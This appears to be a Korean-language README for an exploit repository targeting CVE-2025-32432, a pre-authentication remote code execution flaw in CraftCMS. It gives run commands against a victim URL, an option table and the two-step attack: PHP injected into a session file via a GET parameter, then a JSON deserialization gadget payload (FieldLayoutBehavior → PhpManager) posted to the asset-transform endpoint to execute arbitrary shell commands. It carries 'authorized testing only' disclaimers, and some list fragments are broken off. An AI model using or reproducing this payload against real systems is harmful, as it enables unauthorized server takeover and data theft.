
CraftCMS asset-transform 엔드포인트의 사전 인증 RCE인 CVE-2025-32432에 대한 Python 악용입니다. 역직렬화 가젯을 통해 임의 셸 명령을 실행하는 2패킷 체인을 포함합니다.
CraftCMS 3.x / 4.x / 5.x에 대한 인증 전 원격 코드 실행
PoC 관리자: C.T.Y. (연구 용도로만 사용)
취약점 발견: Nicolas Bourras – Orange Cyberdefense
추가 PoC 영감: SensePost 연구 및 Chirag Artani의 공개 스크립트
이 저장소는 CVE-2025-32432에 대한 두 가지 보완적인 Python 익스플로잇을 제공합니다. 이는 CraftCMS의 asset-transform 엔드포인트에서의 인증 전 RCE입니다.
| Script | 설명 |
|---|---|
craftcms_rce_php_check.py | 안전 프로브 — FnStream 가젯을 사용하여 하나의 요청을 보내 임의의 PHP가 실행되는지 확인합니다(phpinfo() 출력). 영향이 적은 확인에 이상적입니다. |
craftcms_final_payload.py | 전체 익스플로잇 — 두 패킷 체인: 먼저 FnStream을 통해 PHP를 주입한 후, FieldLayoutBehavior → PhpManager 가젯을 활용하여 모든 셸 명령을 실행합니다. |
두 번째 스크립트가 이 README 전체에서 설명하는 것입니다.
첫 번째 스크립트는 완전성과 빠른 검증을 위해 포함되었으며, Chirag Artani가 제공했습니다. — 크레딧 참조.
스크립트 파일명은 명확성을 위해 수정되었습니다. 원래 구조와 아이디어는 Chirag Artani의 것입니다.
교육 및 승인된 보안 테스트 용도로만 사용하십시오.
이 스크립트를 명시적인 서면 허가 없이 시스템에 사용하는 것은 불법적이고 비윤리적입니다.
assetId 브루트포스 (404 → 302 휴리스틱)-c/--cmd)pip install -r requirements.txt로 설치):
requestsurllib3# 리포지토리 클론
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# 의존성 설치
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
phpinfo() 출력이 보이면 대상이 익스플로잇 가능성이 매우 높습니다.
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| 옵션 | 긴 형식 | 설명 | 필수 |
|---|---|---|---|
-u | --url | 대상 기본 URL (끝에 슬래시 없음) | ✅ |
-c | --cmd | 실행할 셸 명령 | ✅ |
-a | --asset | 알려진 유효한 assetId | ❌ |
-s | --scan-max | 브루트포스 한도 (기본값: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?>로 GET 요청을 보내 임의의 PHP를 /tmp/sess_<ID>에 기록합니다.actions/assets/generate-transform으로 POST 요청을 보내 FieldLayoutBehavior → PhpManager 가젯을 사용하여 CraftCMS가 세션 파일을 require()하도록 강제하여 코드를 실행합니다.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId 브루트포스 필요)phpinfo 확인 스크립트 (craftcms_rce_php_check.py) 및 초기 연구 아이디어
스크립트 파일명은 명확성을 위해 수정되었습니다. 원래 구조와 아이디어는 Chirag Artani의 것입니다.책임 고지: 이 코드 사용으로 인해 발생하는 모든 법적 위험이나 손해는 전적으로 사용자의 책임입니다.
MIT 라이선스 — LICENSE 파일 참조.
| 파일 | 용도 |
|---|---|
craftcms_rce_php_check.py | PHP 실행 가능성 확인: 단일 요청으로 FnStream을 사용하여 phpinfo()를 트리거하고, 낮은 영향으로 대상이 취약한지 확인합니다.이 파일명은 설명을 위해 수정되었습니다. 원래 개념과 코드 구조는 Chirag Artani의 것입니다. |
craftcms_final_payload.py | 두 패킷 체인 전체 이용: 먼저 FnStream으로 PHP를 주입한 후, PhpManager를 통해 임의의 명령을 실행합니다. |
교육 및 합법적으로 승인된 테스트 용도로만 사용하십시오. 승인되지 않은 작업은 불법입니다.
python3 craftcms_rce_php_check.py -u https://대상사이트
python3 craftcms_final_payload.py -u https://대상사이트 -c "id"
매개변수는 영어 버전과 동일합니다.
phpinfo 확인 스크립트
이 파일명은 설명을 위해 수정되었습니다. 원래 개념과 코드 구조는 Chirag Artani의 것입니다.이 코드를 사용하여 발생하는 모든 법적 위험 및 손실은 사용자 본인의 책임입니다.
MIT 라이선스